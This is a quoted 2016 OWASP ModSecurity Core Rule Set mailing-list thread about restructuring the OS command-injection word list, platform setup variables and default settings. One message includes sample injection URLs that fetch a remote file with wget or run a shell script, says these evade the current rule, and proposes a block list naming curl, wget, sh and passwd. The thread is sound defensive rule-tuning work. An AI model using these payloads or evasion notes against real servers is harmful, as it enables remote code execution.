I think a todo file or issues in the github are in order. I’m more in favor of the second. I can make a custom label for each specific area if we need. I think that will perform better because we can assign things and track people progress etc. thoughts?
On 2/18/16, 4:49 AM, "owasp-modsecurity-core-rule-set-boun...@lists.owasp.org on behalf of Christian Folini" <owasp-modsecurity-core-rule-set-boun...@lists.owasp.org on behalf of christian.fol...@netnea.com> wrote: >Hello, > >That is a smart move. It allows us to eliminate all "file splitting" >tasks out of the paranoia mode project. Simplifies things a lot. > >@Chaim want to start a TODO file in the top folder of the CRS? > >Ahoj, > >Christian > >On Wed, Feb 17, 2016 at 09:05:52PM +0100, Franziska Buehler wrote: >> Hi, >> >> I also like the idea of splitting the file. Perhaps we even need >>multiple files. >> Walter has a lot of good thougts! >> This task doesn't seem to be very easy and some testing will be >>necessary. >> So I think we have to decide later, outside of this little project, >> and we should move on to the first pull request. >> >> Regards, >> Franziska >> >> 2016-02-15 5:07 GMT+01:00 Chaim Sanders <csand...@trustwave.com>: >> > For the record I think this is a good idea but perhaps outside the >>scope a >> > bit of the initial RC release. Christian, I suggest we add this to the >> > To-do for 3.1. Thoughts? >> > >> > On 2/12/16, 4:17 PM, >> > "owasp-modsecurity-core-rule-set-boun...@lists.owasp.org on behalf of >> > Christian Folini" >><owasp-modsecurity-core-rule-set-boun...@lists.owasp.org >> > on behalf of christian.fol...@netnea.com> wrote: >> > >> >>Hi there, >> >> >> >>There has not been any additional feedback in this thread, but I think >> >>the question is not settled as of this writing. >> >> >> >>Thoughts? >> >> >> >>Regs, >> >> >> >>Christian >> >> >> >>On Sun, Feb 07, 2016 at 08:55:30PM +0100, Christian Folini wrote: >> >>> Hi there, >> >>> >> >>> On Sat, Feb 06, 2016 at 11:04:00PM +0100, Walter Hop wrote: >> >>> > I like the idea of splitting the file. >> >>> >> >>> Cool. >> >>> >> >>> > I agree some of the words in os-commands.data seem rather >>paranoid. >> >>>Words like "choice", "help", "now² seem of low value and are common >>in >> >>>natural text. Also, the large number of Unix-only environments could >> >>>skip Windows related commands. It¹s hard for users to modify these >>lists >> >>>as you¹d have to hack the CRS, and these huge collections are to >> >>>maintain anyhow, so I agree we need granularity. >> >>> >> >>> Good point. >> >>> >> >>> > The rule has some regexp magic to prevent false positives, but the >> >>>balance is not a complete success in my opinion. For instance, the >> >>>following URLs don't trigger in CRSv3: >> >>> > http://vuln/?cmd=wget%20http://example.com/blah.txt >> >>> > http://vuln/?cmd=sh%20blah.txt >> >>> > >> >>> > So it's not as strong as you would want either to prevent some >>common >> >>>RCE. >> >>> > Something like http://vuln/?cmd=Wget%20http://example.com/;%20ecHo >> >>>does trigger it. >> >>> >> >>> I see. Good observations. >> >>> >> >>> > 1) I think that a user should check their desired platforms in the >> >>>setup conf. In fact, this would be great to do anyway in the initial >> >>>3.0.0 release even if we DON'T look at it in any rule yet. Specifying >> >>>platform types will pave the way for reducing false positives and >>false >> >>>negatives by skipping unnecessary checks and being more strict on the >> >>>right platforms. So we could start by listing these platforms in the >> >>>existing rule in the setup conf. Example: >> >>> > >> >>> > SecAction \ >> >>> > "id:'900024', \ >> >>> > phase:1, \ >> >>> > t:none, \ >> >>> > setvar:tx.unix=1, \ >> >>> > setvar:tx.windows=1, \ >> >>> > setvar:tx.java=1, \ >> >>> > setvar:tx.php=1, \ >> >>> >> >>> That makes a lot of sense. At first sight. >> >>> >> >>> I think that a default install should come with these rulesets >> >>> all enabled and a sysadmin can then switch them of if we is aware >>that >> >>> there is no php in his service. >> >>> >> >>> So given the following two scenarios >> >>> #1 - Newbie sysadmin installs ModSec and runs into a lot of false >> >>>positives >> >>> because he does not disable unneeded rulesets >> >>> #2 - Newbie sysadmin installs ModSec and is p0wned because he does >>not >> >>>enable >> >>> the php protection >> >>> I strongly favour #1. >> >>> >> >>> A vanilla install of the core rules should give you a full coverage >>for >> >>>all >> >>> types of services and a decent security level. Reducing false >>positives >> >>>by >> >>> omitting certain rules (ideally rules which provide no value for >>your >> >>>setup) >> >>> is the very idea of tuning. >> >>> Reducing the initial number of false positives by moving certain >>rules >> >>> with a worse relationsship between added security and false >>positives, >> >>> that is the idea of the paranoia mode. >> >>> >> >>> Chaim stated in a different message, that the rules are now >>organised >> >>> into files aimed at certain environments. So switching them off is >> >>> fairly easy. And there are the tags on top of it. >> >>> So you have tag:'language-PHP' and setting SecRuleRemoveByTag will >> >>> disable them all very easily. >> >>> >> >>> So I think, we do not need these variables. >> >>> >> >>> > (By the way: I think it¹s unfortunate that a user has to use >>value 1 >> >>>to enable a check. An undefined variable will mean that the CRS will >> >>>skip some rules. This makes it dangerous to introduce a new variable >>in >> >>>the CRS later; all existing installations MUST then add this >>variable to >> >>>their setup rule immediately, or suffer from reduced security. It¹s >> >>>better to use a scheme that defaults to ³on². A convention like >> >>>³tx.disable_mysql=1² would be user unfriendly and error-prone. But we >> >>>could check for an explicit ³off² string, e.g. >>³setvar:tx.mysql=off². If >> >>>it¹s not ³off² then assume that the user DOES want the check. I think >> >>>it¹s important to get this right in 3.0.0, it will be more painful >>to do >> >>>it later.) >> >>> >> >>> That's a very good observation. I had a similar idea once. >> >>> >> >>> In programming, you usually start with a default value and then >> >>> the users overrides the default value. If he wants to. >> >>> >> >>> I am not sure how modsecurity_crs_10_setup.conf.example is going to >> >>> be transformed to work seamlessly with 3.0. But this makes the >> >>> setting of default values a bit tricky. >> >>> >> >>> Maybe a file REQUEST-02-DEFAULTS.conf could set default values >> >>> if certain variables are not set. >> >>> >> >>> > 2) Separate the words into multiple lists: >> >>> > os-commands-critical.data (absolute red flag list: "curl", >>"passwd", >> >>>"sh", "uname", "wget" etc.) >> >>> > os-commands-paranoid.data (absolute low value, but high FP >>natural >> >>>words like "choice") >> >>> > os-commands-windows.data (all Windows commands) >> >>> > os-commands-common.data (all other commands) >> >>> >> >>> Makes some sense. Too granular is difficult and you mix various >> >>> grouping criteria (criticality, paranoia, os), which makes is a >> >>> bit hard to follow. >> >>> >> >>> Other opinions? >> >>> >> >>> > 3) Review the current regexp against some test data and CRSv2 to >>make >> >>>it more sensitive >> >>> >> >>> Good plan. Maybe this could be done in a separate pull request. >> >>> I am afraid to overload the paranoia mode pull request... >> >>> >> >>> Ahoj, >> >>> >> >>> Christian >> >>> >> >>> >> >>> -- >> >>> In war you will generally find that the enemy has at any time >> >>> three courses of action open to him. Of those three, he will >> >>> invariably choose the fourth. >> >>> -- Helmuth Von Moltke >> >>> _______________________________________________ >> >>> Owasp-modsecurity-core-rule-set mailing list >> >>> Owasp-modsecurity-core-rule-set@lists.owasp.org >> >>> >> >>>>>http://scanmail.trustwave.com/?c=4062&d=ndG-1q_MaPpAIUX2lZSE6lY7cpl0me >>>>>OIn >> >>>>>uYrNabyug&s=5&u=https%3a%2f%2flists%2eowasp%2eorg%2fmailman%2flistinfo >>>>>%2f >> >>>owasp-modsecurity-core-rule-set >> >> >> >>-- >> >>mailto:christian.fol...@netnea.com >> >>>>http://scanmail.trustwave.com/?c=4062&d=ndG-1q_MaPpAIUX2lZSE6lY7cpl0meO >>>>Inu >> >>N-aaCptw&s=5&u=http%3a%2f%2fwww%2echristian-folini%2ech >> >>twitter: @ChrFolini >> >>_______________________________________________ >> >>Owasp-modsecurity-core-rule-set mailing list >> >>Owasp-modsecurity-core-rule-set@lists.owasp.org >> >>>>http://scanmail.trustwave.com/?c=4062&d=ndG-1q_MaPpAIUX2lZSE6lY7cpl0meO >>>>Inu >> >>>>YrNabyug&s=5&u=https%3a%2f%2flists%2eowasp%2eorg%2fmailman%2flistinfo%2 >>>>fow >> >>asp-modsecurity-core-rule-set >> > >> > >> > ________________________________ >> > >> > This transmission may contain information that is privileged, >>confidential, and/or exempt from disclosure under applicable law. If you >>are not the intended recipient, you are hereby notified that any >>disclosure, copying, distribution, or use of the information contained >>herein (including any reliance thereon) is strictly prohibited. If you >>received this transmission in error, please immediately contact the >>sender and destroy the material in its entirety, whether in electronic >>or hard copy format. >> > _______________________________________________ >> > Owasp-modsecurity-core-rule-set mailing list >> > Owasp-modsecurity-core-rule-set@lists.owasp.org >> > >>http://scanmail.trustwave.com/?c=4062&d=oprF1pAS3K8GsgJkttF2b76CyDjqyyXmK >>ENdLz6Plw&s=5&u=https%3a%2f%2flists%2eowasp%2eorg%2fmailman%2flistinfo%2f >>owasp-modsecurity-core-rule-set >> _______________________________________________ >> Owasp-modsecurity-core-rule-set mailing list >> Owasp-modsecurity-core-rule-set@lists.owasp.org >> >>http://scanmail.trustwave.com/?c=4062&d=oprF1pAS3K8GsgJkttF2b76CyDjqyyXmK >>ENdLz6Plw&s=5&u=https%3a%2f%2flists%2eowasp%2eorg%2fmailman%2flistinfo%2f >>owasp-modsecurity-core-rule-set > >-- >mailto:christian.fol...@netnea.com >http://scanmail.trustwave.com/?c=4062&d=oprF1pAS3K8GsgJkttF2b76CyDjqyyXmKE >YIczjUmg&s=5&u=http%3a%2f%2fwww%2echristian-folini%2ech >twitter: @ChrFolini >_______________________________________________ >Owasp-modsecurity-core-rule-set mailing list >Owasp-modsecurity-core-rule-set@lists.owasp.org >http://scanmail.trustwave.com/?c=4062&d=oprF1pAS3K8GsgJkttF2b76CyDjqyyXmKE >NdLz6Plw&s=5&u=https%3a%2f%2flists%2eowasp%2eorg%2fmailman%2flistinfo%2fow >asp-modsecurity-core-rule-set ________________________________ This transmission may contain information that is privileged, confidential, and/or exempt from disclosure under applicable law. If you are not the intended recipient, you are hereby notified that any disclosure, copying, distribution, or use of the information contained herein (including any reliance thereon) is strictly prohibited. If you received this transmission in error, please immediately contact the sender and destroy the material in its entirety, whether in electronic or hard copy format. _______________________________________________ Owasp-modsecurity-core-rule-set mailing list Owasp-modsecurity-core-rule-set@lists.owasp.org https://lists.owasp.org/mailman/listinfo/owasp-modsecurity-core-rule-set
